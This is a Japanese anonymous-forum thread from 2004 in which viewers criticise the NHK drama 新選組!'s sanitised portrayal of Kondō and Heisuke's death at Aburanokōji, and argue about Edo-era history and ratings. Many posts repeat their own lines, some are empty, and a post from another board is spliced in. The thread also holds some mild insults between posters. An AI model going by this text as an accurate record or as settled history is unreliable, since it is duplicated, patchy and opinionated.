ちなみに、三国志と言えば中国だが、今では劉備より曹操の方が好きだ、という
人が多いらしい。「劉備は偽善者だから嫌い。曹操の方が自分の気持ちに正直だから
いい」という声が多い。あれも無理に劉備を聖人君子にしたてあげた話だが。
379 ：名無しさん＠お腹いっぱい。：04/10/31 21:37:15 ID:u6FCsjzI
自分ね、最初かなり好きだったし史実とは違っても
青春群像って感じでいいなーと思ってた。
何回も泣いた回があったし。先週の竜馬を守る
新撰組ってのもぎりぎり耐えた。
でも今週、ちょっとこのパターンいい加減にしろと。
竜馬みたいな語りを近藤に語らせてどうする。
またもや近藤の手は綺麗なまんまで、伊東は改心。
そんな簡単な男ならとっくに手打ちになってるだろ。
暗殺系の事件は今回も近藤とは無関係のワンパターン。
殺伐としないにもほどがある。仲良しクラブかよ！
青春群像って感じでいいなーと思ってた。
何回も泣いた回があったし。先週の竜馬を守る
新撰組ってのもぎりぎり耐えた。
でも今週、ちょっとこのパターンいい加減にしろと。
竜馬みたいな語りを近藤に語らせてどうする。
またもや近藤の手は綺麗なまんまで、伊東は改心。
そんな簡単な男ならとっくに手打ちになってるだろ。
暗殺系の事件は今回も近藤とは無関係のワンパターン。
殺伐としないにもほどがある。仲良しクラブかよ！
380 ：名無しさん＠お腹いっぱい。：04/10/31 21:44:52 ID:kjiT6WSr
>>378
三国志の劉備はやってることは偽善的だが
人望があって人が集まってくる過程はよく描かれているし
大局が見えなかったり、ちょっと失敗したりの人間性はあるので
古典の主人公足りえるんだよな
このドラマの場合は史実の近藤を無理やり弁護している様子の再現映像みたいで
三国志の劉備はやってることは偽善的だが
人望があって人が集まってくる過程はよく描かれているし
大局が見えなかったり、ちょっと失敗したりの人間性はあるので
古典の主人公足りえるんだよな
このドラマの場合は史実の近藤を無理やり弁護している様子の再現映像みたいで
381 ：名無しさん＠お腹いっぱい。：04/10/31 21:46:11 ID:wdukuRiK
今のままだと、甲陽鎮撫隊で負けたあとの別れのシーンなんかどう描かれるのか心配だな。
382 ：名無しさん＠お腹いっぱい。：04/10/31 21:49:20 ID:XJf1PDDi
>>377
徳川幕府の時も頂点は天皇だぞ。
徳川幕府の時も頂点は天皇だぞ。
383 ：名無しさん＠お腹いっぱい。：04/10/31 21:53:00 ID:NjVAL1lN
さのすけと永倉が近藤と袂を分かつんだよね。
384 ：名無しさん＠お腹いっぱい。：04/10/31 21:55:26 ID:AgIOnXru
伊東の「近藤さんを暗殺するつもりはなかった。斎藤を試しただけ」
って言い訳、ちょっと笑えたな。
小学生じゃないんだから。
近藤の思考回路もよくわからんけど
永倉も同じくらいよくわからん。
武田の待遇がいいことにはギャーギャー喚くのに
闇討ちには何の異論もないのか。
って言い訳、ちょっと笑えたな。
小学生じゃないんだから。
近藤の思考回路もよくわからんけど
永倉も同じくらいよくわからん。
武田の待遇がいいことにはギャーギャー喚くのに
闇討ちには何の異論もないのか。
385 ：名無しさん＠お腹いっぱい。：04/10/31 21:57:51 ID:bNVNq/zm
とりあえず、最初に平助に斬られた新撰組隊士とか、平助に斬りかかろうとして
「よせ！」ってグッさん？ あたりに怒られた隊士が不憫だ。隊命で頑張って
んのに、主役級は敵の平助を抱き起こして味方の隊士はシカト。泣けた。
「よせ！」ってグッさん？ あたりに怒られた隊士が不憫だ。隊命で頑張って
んのに、主役級は敵の平助を抱き起こして味方の隊士はシカト。泣けた。
386 ：名無しさん＠お腹いっぱい。：04/10/31 21:59:19 ID:wdukuRiK
どうせ滅茶苦茶に描くなら、沖田が血を吐いたまま決闘現場に行って平助と一騎撃ちして勝つぐらいのことをやってほしかったね。
387 ：名無しさん＠お腹いっぱい。：04/10/31 22:04:38 ID:AgIOnXru
>>385
だよな。
幹部達には（永倉・原田しかいないが)平助の助命嘆願が徹底してるのに
平隊士は何故か知らない。
で、平隊士が知らないことの説明はまったくない、と。
ついさっき命令が徹底されてないせいで伊東を死なせたのに
直後に再び平助を死なせる近藤。
ぜんぶ下っ端の暴走。
うっそー。
だよな。
幹部達には（永倉・原田しかいないが)平助の助命嘆願が徹底してるのに
平隊士は何故か知らない。
で、平隊士が知らないことの説明はまったくない、と。
ついさっき命令が徹底されてないせいで伊東を死なせたのに
直後に再び平助を死なせる近藤。
ぜんぶ下っ端の暴走。
うっそー。
388 ：名無しさん＠お腹いっぱい。：04/10/31 22:08:07 ID:jkbiU/Ln
389 ：名無しさん＠お腹いっぱい。：04/10/31 22:08:42 ID:wdukuRiK
下っ端まで指揮命令系統が行き届いていないね。
下っ端の暴走って、青年将校や関東軍の暴走を思わせるものがある。
下っ端の暴走って、青年将校や関東軍の暴走を思わせるものがある。
390 ：名無しさん＠お腹いっぱい。：04/10/31 22:13:24 ID:kjiT6WSr
391 ：虚無僧：04/10/31 22:15:13 ID:jh+/9qRp
結局物書きってのは、どの国でもいっしょさ。三国志でも劉備が悪徳役人を縄でしばって
天井に釣るし、棒かなにかで、さんざん打ち据えた話、正史には残ってるんだ。が、小説講談
タイプの演技では、それをやったの部下の張飛に置き換わってる。悪徳役人懲らしめるのでも、
暴力的だとダメなんだろう。主人公のマイナス面は皆部下にいっちゃう。ちなみに、中国では、ずぼら
で、能力は低くても、包容力はある、そんなのが、歴史劇の主役の典型的パターンらしい。ドラマの近藤
は、中国むきのキャラかも。
天井に釣るし、棒かなにかで、さんざん打ち据えた話、正史には残ってるんだ。が、小説講談
タイプの演技では、それをやったの部下の張飛に置き換わってる。悪徳役人懲らしめるのでも、
暴力的だとダメなんだろう。主人公のマイナス面は皆部下にいっちゃう。ちなみに、中国では、ずぼら
で、能力は低くても、包容力はある、そんなのが、歴史劇の主役の典型的パターンらしい。ドラマの近藤
は、中国むきのキャラかも。
392 ：名無しさん＠お腹いっぱい。：04/10/31 22:18:53 ID:2RV3TCIC
三浦ーー！！（平助を斬った人）
下っ端にはやっぱり言えないのでしょうかねぇ…助けたいとか。
永倉曰わく近藤は本当に平助は救いたいみたいなことを言ってたようですが…
切なすぎですね。
そしてやっぱり近藤のあまりの良い人ぶりに腹がたってしまったり…
下っ端にはやっぱり言えないのでしょうかねぇ…助けたいとか。
永倉曰わく近藤は本当に平助は救いたいみたいなことを言ってたようですが…
切なすぎですね。
そしてやっぱり近藤のあまりの良い人ぶりに腹がたってしまったり…
393 ：名無しさん＠お腹いっぱい。：04/10/31 22:26:39 ID:ENVyZop1
>>391
＞中国では、ずぼらで、能力は低くても、包容力はある、
そんなのが、歴史劇の主役の典型的パターンらしい。
いや、まあ流石に「能力は低く」はないかと。
大賢は大愚に似る、との言もあるし、
中国では人を見る目があり人間的魅力の強いカリスマを「将に将たる器」と称するのだと思う。
で、大河の近藤の場合は「将に将たる」というにはスケールが小さすぎ。
＞中国では、ずぼらで、能力は低くても、包容力はある、
そんなのが、歴史劇の主役の典型的パターンらしい。
いや、まあ流石に「能力は低く」はないかと。
大賢は大愚に似る、との言もあるし、
中国では人を見る目があり人間的魅力の強いカリスマを「将に将たる器」と称するのだと思う。
で、大河の近藤の場合は「将に将たる」というにはスケールが小さすぎ。
394 ：名無しさん＠お腹いっぱい。：04/10/31 22:33:41 ID:muw45bIy
>>392
まあ、下っ端まで行き届かない設定にしないと(誰かが斬らないと)、平助生き残って
しまうんでねー。それもマズいｗ。作劇上の都合だよね、ぶっちゃけ。
「平助だけは惜しかった」と近藤が口にしたのは事実のようだし、その人柄を好き
だった事は確か。だったら、潔く、涙を飲んで「高台寺党」皆殺し命令を出して、
沖田とか永倉あたりに斬らせた方がよかった。仮にも「新撰組」の頭なんだから。
「平助だけ、助けろ」なんて命令出す方が、なんか未練がましくてカコ悪い。
まあ、下っ端まで行き届かない設定にしないと(誰かが斬らないと)、平助生き残って
しまうんでねー。それもマズいｗ。作劇上の都合だよね、ぶっちゃけ。
「平助だけは惜しかった」と近藤が口にしたのは事実のようだし、その人柄を好き
だった事は確か。だったら、潔く、涙を飲んで「高台寺党」皆殺し命令を出して、
沖田とか永倉あたりに斬らせた方がよかった。仮にも「新撰組」の頭なんだから。
「平助だけ、助けろ」なんて命令出す方が、なんか未練がましくてカコ悪い。
395 ：名無しさん＠お腹いっぱい。：04/10/31 22:43:47 ID:lB3OesgS
伊東と近藤の話し合いのシーンで障子を開けたり閉めたりするのって、
山南切腹のときにもやってたよね…。
山南切腹のときにもやってたよね…。
396 ：名無しさん＠お腹いっぱい。：04/10/31 22:48:29 ID:zdfGFhc/
397 ：名無しさん＠お腹いっぱい。：04/10/31 22:49:33 ID:kjiT6WSr
398 ：名無しさん＠お腹いっぱい。：04/10/31 23:09:16 ID:shpXZDM/
所用で、ただいまBS11で見たのだが
やっぱり今日の展開はどう見ても無理がありすぎだよなｗ
やっぱり今日の展開はどう見ても無理がありすぎだよなｗ
399 ：名無しさん＠お腹いっぱい。：04/10/31 23:10:20 ID:h+sRBmIK
400 ：名無しさん＠お腹いっぱい。：04/10/31 23:28:15 ID:2RV3TCIC
＞394
近藤が平助を助けようとしたのかは微妙らしいです…その証言が顛末記にしかないので。
永倉がおじいちゃんになった後の記憶ですから、信憑性は？なのだとか。近藤が本当に助けたいと考えていたのなら、衛士達の遺体放置の時に平助だけはせめて連れてかえりそうなものじゃないですか。
まぁ、少なくとも永倉は平助を救いたいと思ってたのだろうなという気はしますが…
近藤が平助を助けようとしたのかは微妙らしいです…その証言が顛末記にしかないので。
永倉がおじいちゃんになった後の記憶ですから、信憑性は？なのだとか。近藤が本当に助けたいと考えていたのなら、衛士達の遺体放置の時に平助だけはせめて連れてかえりそうなものじゃないですか。
まぁ、少なくとも永倉は平助を救いたいと思ってたのだろうなという気はしますが…
401 ：名無しさん＠お腹いっぱい。：04/10/31 23:29:40 ID:mcABfrrx
402 ：名無しさん＠お腹いっぱい。：04/10/31 23:33:38 ID:XJf1PDDi
403 ：名無しさん＠お腹いっぱい。：04/10/31 23:36:50 ID:AgIOnXru
>>400
近藤が平助を可愛がってた記録は他にもあるので
どちらにせよ平助を殺すのは本意ではなかっただろう。
だが新選組局長という立場上、大っぴらに平助一人を
助命するわけにはいかなかったのだろうね。
斬られた新選組隊士はシカトして平助一人を抱きかかえ
「お前は真の武士だ」などとほざくことは許されない
非情な世界で生きてたのだろう。
近藤が平助を可愛がってた記録は他にもあるので
どちらにせよ平助を殺すのは本意ではなかっただろう。
だが新選組局長という立場上、大っぴらに平助一人を
助命するわけにはいかなかったのだろうね。
斬られた新選組隊士はシカトして平助一人を抱きかかえ
「お前は真の武士だ」などとほざくことは許されない
非情な世界で生きてたのだろう。
404 ：名無しさん＠お腹いっぱい。：04/10/31 23:37:29 ID:T1OK3KtR
なんだああああああああああああああああああああああああ？？？？？
この糞シナリオはああああああああああああああああああああああああ？？？？
この糞シナリオはああああああああああああああああああああああああ？？？？
405 ：名無しさん＠お腹いっぱい。：04/10/31 23:52:06 ID:kjiT6WSr
406 ：名無しさん＠お腹いっぱい。：04/10/31 23:52:22 ID:lB3OesgS
伊東がやられてから加納鷲雄や篠原が取り仕切っていたのはいいけど、伊東の実弟の
三木三郎が全く台詞がないっていうのも…。兄の遺体を目にして何か言ってほしかった。
三木三郎が全く台詞がないっていうのも…。兄の遺体を目にして何か言ってほしかった。
407 ：名無しさん＠お腹いっぱい。：04/10/31 23:57:58 ID:T1OK3KtR
他人の色んな小説を朴ってるくせに、
近藤を聖人に描こうとし、コメディをちりばめようとするから無理が出る。
近藤を聖人に描こうとし、コメディをちりばめようとするから無理が出る。
408 ：名無しさん@お腹いっぱい。：04/11/01 00:25:06 ID:Mo3LqPmk
泣いた。感動した。等の腐女子の三谷や出演者や話の内容への大胆過ぎるﾏﾝｾーが
読みたくも無いのに見えてしまって虫唾が走る。何でヲタってこんなにもｷﾓｲんだろ？
あー鬱だー鬱だー鬱だー鬱だー鬱だー鬱だー鬱だー鬱だー。
読みたくも無いのに見えてしまって虫唾が走る。何でヲタってこんなにもｷﾓｲんだろ？
あー鬱だー鬱だー鬱だー鬱だー鬱だー鬱だー鬱だー鬱だー。
409 ：名無しさん＠お腹いっぱい。：04/11/01 00:30:31 ID:8o1wh3u7
410 ：名無しさん＠お腹いっぱい。：04/11/01 00:35:46 ID:f6PsT4gM
なんでもかんでも悪さするのは鍬次郎なんだな(;´Д｀)
411 ：名無しさん＠お腹いっぱい。：04/11/01 00:35:49 ID:BgSKjooN
平助の中の人の演技が良かった。頑張って欲しい役者さんです。
ドラマ自体にはもう興味がないので、演技だけ見てます。
ドラマ自体にはもう興味がないので、演技だけ見てます。
412 ：名無しさん＠お腹いっぱい。：04/11/01 00:38:02 ID:kW+awdoX
鴨が出てきた辺りからずっと楽しんで見てたけど、
竜馬暗殺、油小路と、近藤美化に呆れて今日はこっちのスレに。
武田転落の回の時ならわかるけど、
流石に今日まで繰り返している有様を見て、
「鍬次郎死ね」という感想は何か違っていると思う。
感想は人それぞれだけどさ。
>>408同意
近藤マジックとか、感動したとかね。
竜馬暗殺、油小路と、近藤美化に呆れて今日はこっちのスレに。
武田転落の回の時ならわかるけど、
流石に今日まで繰り返している有様を見て、
「鍬次郎死ね」という感想は何か違っていると思う。
感想は人それぞれだけどさ。
>>408同意
近藤マジックとか、感動したとかね。
413 ：名無しさん＠お腹いっぱい。：04/11/01 00:51:20 ID:C7Qefk5q
>>409
徳川幕藩体制も頂点は天皇って話？
でもそれははっきり言って建前でがんしょ。
紫衣事件で幕府の強硬姿勢に後水尾天皇が鬱って以来
200年以上朝廷がただのお飾りだったのは歴とした事実。
言葉尻に噛み付いて「江戸時代も頂点は天皇」とか
いつまでも叫び続けるのはどーかと。
前半の汚れ役は芹沢、中盤は土方、後半は鍬次郎と
スケープゴートの準備には余念がない三谷。
さすが人気脚本家。
徳川幕藩体制も頂点は天皇って話？
でもそれははっきり言って建前でがんしょ。
紫衣事件で幕府の強硬姿勢に後水尾天皇が鬱って以来
200年以上朝廷がただのお飾りだったのは歴とした事実。
言葉尻に噛み付いて「江戸時代も頂点は天皇」とか
いつまでも叫び続けるのはどーかと。
前半の汚れ役は芹沢、中盤は土方、後半は鍬次郎と
スケープゴートの準備には余念がない三谷。
さすが人気脚本家。
414 ：名無しさん＠お腹いっぱい。：04/11/01 00:54:25 ID:Rws2FE7H
>>412
いっとくが近藤マジックはマンセーの言葉じゃないぞ
いっとくが近藤マジックはマンセーの言葉じゃないぞ
415 ：名無しさん＠お腹いっぱい。：04/11/01 00:59:08 ID:oLgj16Ga
416 ：名無しさん＠お腹いっぱい。：04/11/01 02:18:15 ID:V3pI+2XO
297 名前：名無しさん＠お腹いっぱい。[age] 投稿日：04/10/30 00:47:48 ID:0rNrfDd1
>>297
さらに釣れた。
ご愛顧にお応えし、今後も定期的に貼らせてもらおう。
数億人の呪いが今日中に祟るからな。待っていろ。
>>297
さらに釣れた。
ご愛顧にお応えし、今後も定期的に貼らせてもらおう。
数億人の呪いが今日中に祟るからな。待っていろ。
417 ：名無しさん＠お腹いっぱい。：04/11/01 02:23:44 ID:t0ZsPvU3
>>413 後半禿同
なんか
近藤人殺しイヤヨ→近藤丸くおさめたよ→（土方暴走したよ）→あれれ殺されちゃったよ
→近藤丸くおさめられてなかったよ→悲しいよ→次回ご期待ください！
って流ればっかりだね。今は土方が鍬次郎になっただけでしょ。正直秋田
なんか
近藤人殺しイヤヨ→近藤丸くおさめたよ→（土方暴走したよ）→あれれ殺されちゃったよ
→近藤丸くおさめられてなかったよ→悲しいよ→次回ご期待ください！
って流ればっかりだね。今は土方が鍬次郎になっただけでしょ。正直秋田
418 ：名無しさん＠お腹いっぱい。：04/11/01 02:36:09 ID:p19jQM0h
>>409
だから自分で言っちゃってんじゃん。
>信用して幕府を任しているという形
そう。形、建前なんだって。竜馬や倒幕派が言う場合の天皇を頂点としてってのは、
政体として具体的に組み入れるって事でそ。
>頂点が直接政治の場に出る必要は無いだろう。
だから幕府が具体的な実権握ってて、天皇は出なかったら封建制(身分の無い世)
なんて崩れないじゃん。だいたい維新以前の天皇が、自分の意志で追討令なんか
出すわけないだろ。話にならん。何で、ツッコンだの？？？
だから自分で言っちゃってんじゃん。
>信用して幕府を任しているという形
そう。形、建前なんだって。竜馬や倒幕派が言う場合の天皇を頂点としてってのは、
政体として具体的に組み入れるって事でそ。
>頂点が直接政治の場に出る必要は無いだろう。
だから幕府が具体的な実権握ってて、天皇は出なかったら封建制(身分の無い世)
なんて崩れないじゃん。だいたい維新以前の天皇が、自分の意志で追討令なんか
出すわけないだろ。話にならん。何で、ツッコンだの？？？
419 ：名無しさん＠お腹いっぱい。：04/11/01 02:43:08 ID:p19jQM0h
訂正→封建制(身分のある世)ね。キツく言うつもりもなかったんだが、真意がわか
らんかったんでね～。
らんかったんでね～。
420 ：名無しさん＠お腹いっぱい。：04/11/01 05:08:15 ID:LscGBuTU
伊藤との会話で久しぶりに近藤がカリスマぶりを発揮したとおもたら
またすぐ元の近藤に戻ったな。
このチープ大河の中で平助の芝居が良すぎて逆に浮いてたのがもったいなかった。
またすぐ元の近藤に戻ったな。
このチープ大河の中で平助の芝居が良すぎて逆に浮いてたのがもったいなかった。
421 ：名無しさん＠お腹いっぱい。：04/11/01 05:11:22 ID:ffI53Z5E
422 ：名無しさん＠お腹いっぱい。：04/11/01 06:51:17 ID:0MNDP24E
御陵衛士は伊東が途中で改心して暗殺をやめたって知らないから、
伊東は近藤暗殺に失敗して返り討ちにあったと思ってるだろうに、
隊服まで着て残りの御陵衛士を殲滅しようとする新選組＆局長の
腕の中で平助が死ぬのもなんだかなあと思った。
しかも最期の台詞が近藤に「ありがとう」だし。
伊東は近藤暗殺に失敗して返り討ちにあったと思ってるだろうに、
隊服まで着て残りの御陵衛士を殲滅しようとする新選組＆局長の
腕の中で平助が死ぬのもなんだかなあと思った。
しかも最期の台詞が近藤に「ありがとう」だし。
423 ：名無しさん＠お腹いっぱい。：04/11/01 09:54:40 ID:FrhwRshB
>>388
現在でも「小泉首相、政府のその政策は朕は反対でおじゃる。却下」とか
やってませんよ。
>>418-419
身分制は明治になってもあっただろ。
江戸時代の幕閣メンバーや上級武士が華族に変わっただけ。
武士は世襲だから云々とか言う奴がいるけど、華族も世襲だしな。
勿論、明治の四民平等を否定するつもりはない。江戸時代に比べれば
庶民が立身出世し易い世の中になったのは確かだが、封建制の崩壊
そのものは徳川幕府の時代に既に始っている。薩長土はいわば、
それを幾分近代西洋型に直した過ぎない。
あと、封建制というのは身分固定制とは本来別個に論じられるべきもの。
現在でも「小泉首相、政府のその政策は朕は反対でおじゃる。却下」とか
やってませんよ。
>>418-419
身分制は明治になってもあっただろ。
江戸時代の幕閣メンバーや上級武士が華族に変わっただけ。
武士は世襲だから云々とか言う奴がいるけど、華族も世襲だしな。
勿論、明治の四民平等を否定するつもりはない。江戸時代に比べれば
庶民が立身出世し易い世の中になったのは確かだが、封建制の崩壊
そのものは徳川幕府の時代に既に始っている。薩長土はいわば、
それを幾分近代西洋型に直した過ぎない。
あと、封建制というのは身分固定制とは本来別個に論じられるべきもの。
424 ：名無しさん＠お腹いっぱい。：04/11/01 10:31:20 ID:jEkZBE3L
藤堂平助って、「逃げないで闘って」殺されたんじゃなくって、
「（永倉らが逃げ道を空けて）逃げようとした」ところを背中から斬られたらしいけどね、実際は。
「（永倉らが逃げ道を空けて）逃げようとした」ところを背中から斬られたらしいけどね、実際は。
425 ：名無しさん＠お腹いっぱい。：04/11/01 10:39:46 ID:jEkZBE3L
> 近藤が言う「身分を問われない国」は、徳川第一の封建体制側を応援してたら
> いつまで経っても来ない。ましてこないだ、武士になれた事を喜んでた人が～。
そーいやそだね。
まぁ、農民出の近藤も武士になれたってことで…と擁護してもいいところだが
三谷や演出がそこに気付いてたんなら、伊東にツッコませ近藤にそういうことも言わせてるだろう。
つまり…
> いつまで経っても来ない。ましてこないだ、武士になれた事を喜んでた人が～。
そーいやそだね。
まぁ、農民出の近藤も武士になれたってことで…と擁護してもいいところだが
三谷や演出がそこに気付いてたんなら、伊東にツッコませ近藤にそういうことも言わせてるだろう。
つまり…
426 ：名無しさん＠お腹いっぱい。：04/11/01 10:54:57 ID:RL5wn/v/
>425
つーか近藤は身分制度をなくしたかったわけじゃなくて、
侍になりたかったわけじゃん。このドラマでの描き方でいくと。
まったくの矛盾だよ。身分制度をなくしたいって感覚は
現代人も共感できる発想。竜馬の行動や考えがもろにそれでしょ。
視聴者も感情移入しやすいその思想を、三谷は魅力的だと考えて
無理やり近藤に語らせた感じ。
つーか近藤は身分制度をなくしたかったわけじゃなくて、
侍になりたかったわけじゃん。このドラマでの描き方でいくと。
まったくの矛盾だよ。身分制度をなくしたいって感覚は
現代人も共感できる発想。竜馬の行動や考えがもろにそれでしょ。
視聴者も感情移入しやすいその思想を、三谷は魅力的だと考えて
無理やり近藤に語らせた感じ。
427 ：名無しさん＠お腹いっぱい。：04/11/01 10:58:04 ID:aimDooAF
油小路の決闘のシーン、
殺陣とかそれなりに迫力＋緊張感あったんだけど、
近藤が駆けつけた途端、どちらも「０」になった。なぜ？
殺陣とかそれなりに迫力＋緊張感あったんだけど、
近藤が駆けつけた途端、どちらも「０」になった。なぜ？
428 ：名無しさん＠お腹いっぱい。：04/11/01 11:03:59 ID:PMPbVzEH
>>408
色眼鏡で見てるんでしょ。
色眼鏡で見てるんでしょ。
429 ：名無しさん＠お腹いっぱい。：04/11/01 11:04:57 ID:RL5wn/v/
付けたし。
差別なく入隊させて力のあるものが出世できる、
みたいなことを近藤が言ってたけどさ。
史実はおいといて、このドラマ見ていて源さんがそんなに
力があるとは思えない。上はほとんど同郷と同門でかためてる。
新参の伊東をいきなり参謀にする。谷や武田も力があって
上にいったような描き方はされてない。
美化するならすればいいけど、突然の綺麗事の台詞はひどいよ。
それで伊東が改心するのも、もー本当に昨日の回は呆れた。
差別なく入隊させて力のあるものが出世できる、
みたいなことを近藤が言ってたけどさ。
史実はおいといて、このドラマ見ていて源さんがそんなに
力があるとは思えない。上はほとんど同郷と同門でかためてる。
新参の伊東をいきなり参謀にする。谷や武田も力があって
上にいったような描き方はされてない。
美化するならすればいいけど、突然の綺麗事の台詞はひどいよ。
それで伊東が改心するのも、もー本当に昨日の回は呆れた。
722 名前：名無しさんは見た！＠放送中は実況板で 投稿日：04/11/01 12:04:04 ID:wX5OvEw7
金・10［ＴＢＳ系］
３年Ｂ組 金八先生
14.0p
13.0p
土・9［日テレ系］
ナースマンがゆく
10.5p
8.0p
土・11［ＮＨＫ系］
美しき日々
9.5p
7.0p
日・8［ＮＨＫ系］
新選組！
19.5p
15.5p
日・9［ＴＢＳ系］
夫婦。
13.5p
12.5p
431 ：名無しさん＠お腹いっぱい。：04/11/01 12:23:08 ID:BUEffV6N
>>424
実際は真っ先に斬り込んでったんじゃないの？で、めった刺し。
検死書によると顔もやられたんだな。
藤堂：七条油小路南西手に倒れ居り候ものは･･･傷は両足、横腹2ヶ所、
面上鼻より口へかけ深さ2寸ほど、長さ7寸ばかり。刀を握り候まま果ており候。
実際は真っ先に斬り込んでったんじゃないの？で、めった刺し。
検死書によると顔もやられたんだな。
藤堂：七条油小路南西手に倒れ居り候ものは･･･傷は両足、横腹2ヶ所、
面上鼻より口へかけ深さ2寸ほど、長さ7寸ばかり。刀を握り候まま果ており候。
432 ：名無しさん＠お腹いっぱい。：04/11/01 13:06:52 ID:yvMchjHQ
>>430
基準すらも分からない
ただジャニヲタ・ミーハーが必死になってるとしか思えない
どの話しで上がるハズとか関係なく
前の週の数字が悪いから「ヤバイ、上げなくちゃ」って感じで上がる
気持ち悪い変動だ
基準すらも分からない
ただジャニヲタ・ミーハーが必死になってるとしか思えない
どの話しで上がるハズとか関係なく
前の週の数字が悪いから「ヤバイ、上げなくちゃ」って感じで上がる
気持ち悪い変動だ
433 ：名無しさん＠お腹いっぱい。：04/11/01 13:13:03 ID:7LgxOlrL
>>432
たった６００世帯のモニターの中に、視聴率に影響を
ただちに与えられるほど、ジャニオタがいると考えるのは
流石に陰謀妄想が強すぎるよ。
今回上がったのは、天気が悪かった、裏が弱かった、
そして何よりプロ野球がオフシーズンに入ったのが理由
でしょ。大河視聴者とプロ野球ファン層は結構かぶるから。
たった６００世帯のモニターの中に、視聴率に影響を
ただちに与えられるほど、ジャニオタがいると考えるのは
流石に陰謀妄想が強すぎるよ。
今回上がったのは、天気が悪かった、裏が弱かった、
そして何よりプロ野球がオフシーズンに入ったのが理由
でしょ。大河視聴者とプロ野球ファン層は結構かぶるから。
434 ：名無しさん＠お腹いっぱい。：04/11/01 15:07:31 ID:Rws2FE7H
>>429
まあ、そもそも組織や人事を構想して仕切っていたのは土方や山南で
壬生浪士組の時代から近藤は迫り来る状況で悩んでは
土方たちに引きずられてばっかりだったような
＞差別なく入隊させて力のあるものが出世できる、
近藤が新選組設立にこういう理想を持っていた人物なら
前もってそういうエピソードを組み込んでおかんとなぁ
まあ、そもそも組織や人事を構想して仕切っていたのは土方や山南で
壬生浪士組の時代から近藤は迫り来る状況で悩んでは
土方たちに引きずられてばっかりだったような
＞差別なく入隊させて力のあるものが出世できる、
近藤が新選組設立にこういう理想を持っていた人物なら
前もってそういうエピソードを組み込んでおかんとなぁ
435 ：名無しさん＠お腹いっぱい。：04/11/01 15:19:12 ID:cAWrTWiU
>>432
さすがにその手の妄想は引く
さすがにその手の妄想は引く
436 ：名無しさん＠お腹いっぱい。：04/11/01 15:21:32 ID:B41SZIEQ
>>432
キモい被害妄想だなー そこまで嫌がらせしたい理由はなんだ？
キモい被害妄想だなー そこまで嫌がらせしたい理由はなんだ？
437 ：名無しさん＠お腹いっぱい。：04/11/01 15:42:59 ID:yvTqKx4p
438 ：名無しさん＠お腹いっぱい。：04/11/01 16:00:10 ID:DDBm4MXC
>>434
多摩時代、松平上総介に身分が低いからという理由で剣術指南役の話を
無かった事にされたり、周りから出が百姓であるのをさんざん言われてきたから
特に違和感は無いと思ったなぁ。
ただ確かにここまで善人に描く理由がわからんし、善人に描いたのに
あそこまで伊東と和解しようとして、行き違いで殺されてしまった後に
残った衛士たちを一網打尽にするのをあっさり認めてしまうところなんかは
さすがにムチャクチャだと思った。
それこそ体張ってでも止めなきゃ支離滅裂だよ。
平助を助ける事にもなるわけだし。
多摩時代、松平上総介に身分が低いからという理由で剣術指南役の話を
無かった事にされたり、周りから出が百姓であるのをさんざん言われてきたから
特に違和感は無いと思ったなぁ。
ただ確かにここまで善人に描く理由がわからんし、善人に描いたのに
あそこまで伊東と和解しようとして、行き違いで殺されてしまった後に
残った衛士たちを一網打尽にするのをあっさり認めてしまうところなんかは
さすがにムチャクチャだと思った。
それこそ体張ってでも止めなきゃ支離滅裂だよ。
平助を助ける事にもなるわけだし。
439 ：名無しさん＠お腹いっぱい。：04/11/01 17:34:40 ID:hvz54yne
史実に反する事するなら
沖田に緑の血を吐かせるぐらいしろ
沖田に緑の血を吐かせるぐらいしろ
440 ：名無しさん＠お腹いっぱい。：04/11/01 17:55:55 ID:9F/FUjPG
甲陽鎮撫隊～下総流山のくだりで、会津に赴く永倉の提案を突っぱねて
仲違いする所はどうすんのかなぁ～？
拙者の家臣となって働くならば同意いたそう、って
傲慢さを香取近藤が出しそうに無いけど・・・今までの展開から行って(´･ω･`)
仲違いする所はどうすんのかなぁ～？
拙者の家臣となって働くならば同意いたそう、って
傲慢さを香取近藤が出しそうに無いけど・・・今までの展開から行って(´･ω･`)
441 ：名無しさん＠お腹いっぱい。：04/11/01 17:59:27 ID:Rws2FE7H
442 ：名無しさん＠お腹いっぱい。：04/11/01 18:08:18 ID:7LgxOlrL
>>440
多分、話し合った末、納得ずくで別れる
多分、話し合った末、納得ずくで別れる
443 ：名無しさん＠お腹いっぱい。：04/11/01 18:15:05 ID:7EM0+9NC
>>440
長倉君、きみには会津公を守って欲しい！と穏便に別れる
長倉君、きみには会津公を守って欲しい！と穏便に別れる
444 ：名無しさん＠お腹いっぱい。：04/11/01 18:56:06 ID:eIQGEYC3
日・8［ＮＨＫ系］
新選組！
19.5p
15.5p
はぁ・・・そうですか・・・
年末に向けて、２０％行きそうですな。
なんかテレビとか電車の中の三谷のポスターみるだけで不愉快になっちゃうんだけど、
これがずっと続くのか。
三谷トラウマ。私がいったい何をした。
新選組！
19.5p
15.5p
はぁ・・・そうですか・・・
年末に向けて、２０％行きそうですな。
なんかテレビとか電車の中の三谷のポスターみるだけで不愉快になっちゃうんだけど、
これがずっと続くのか。
三谷トラウマ。私がいったい何をした。
445 ：名無しさん＠お腹いっぱい。：04/11/01 19:12:08 ID:8rqPXFVe
446 ：名無しさん＠お腹いっぱい。：04/11/01 19:23:15 ID:JJyfnMDY
昨日の平助の演技、殺陣どっちも良かった
（今すぐ水戸黄門の格さんできそう）
平助の殺陣は今日までの新選組！の中で一番良かったように思う
やっぱり殺陣の下手な人は新選組に似合わないんだと改めて思った
あとただでさえウソ臭いストーリーだから納得できる演技力は重要だと思った
（今すぐ水戸黄門の格さんできそう）
平助の殺陣は今日までの新選組！の中で一番良かったように思う
やっぱり殺陣の下手な人は新選組に似合わないんだと改めて思った
あとただでさえウソ臭いストーリーだから納得できる演技力は重要だと思った
447 ：名無しさん＠お腹いっぱい。：04/11/01 19:32:31 ID:waYl0BEl
でも緊迫感は無かった
平助が隊士を斬り捨ててるのに原田が「何やってるんだよ？」ってなんだかなあ
心配するところが違うんじゃないの？
平助が隊士を斬り捨ててるのに原田が「何やってるんだよ？」ってなんだかなあ
心配するところが違うんじゃないの？
448 ：名無しさん＠お腹いっぱい。：04/11/01 19:49:07 ID:nEzY6wcn
カノックスのあの数字、あってるのかな？
関西は変動してないのに、何故関東は急に上がったんだろう。
関西は変動してないのに、何故関東は急に上がったんだろう。
449 ：名無しさん＠お腹いっぱい。：04/11/01 19:57:00 ID:0MNDP24E
>>446
近藤の「死ぬなへーすけ」がなければもっとよかったのに
近藤の「死ぬなへーすけ」がなければもっとよかったのに
447さん、449さんに同意
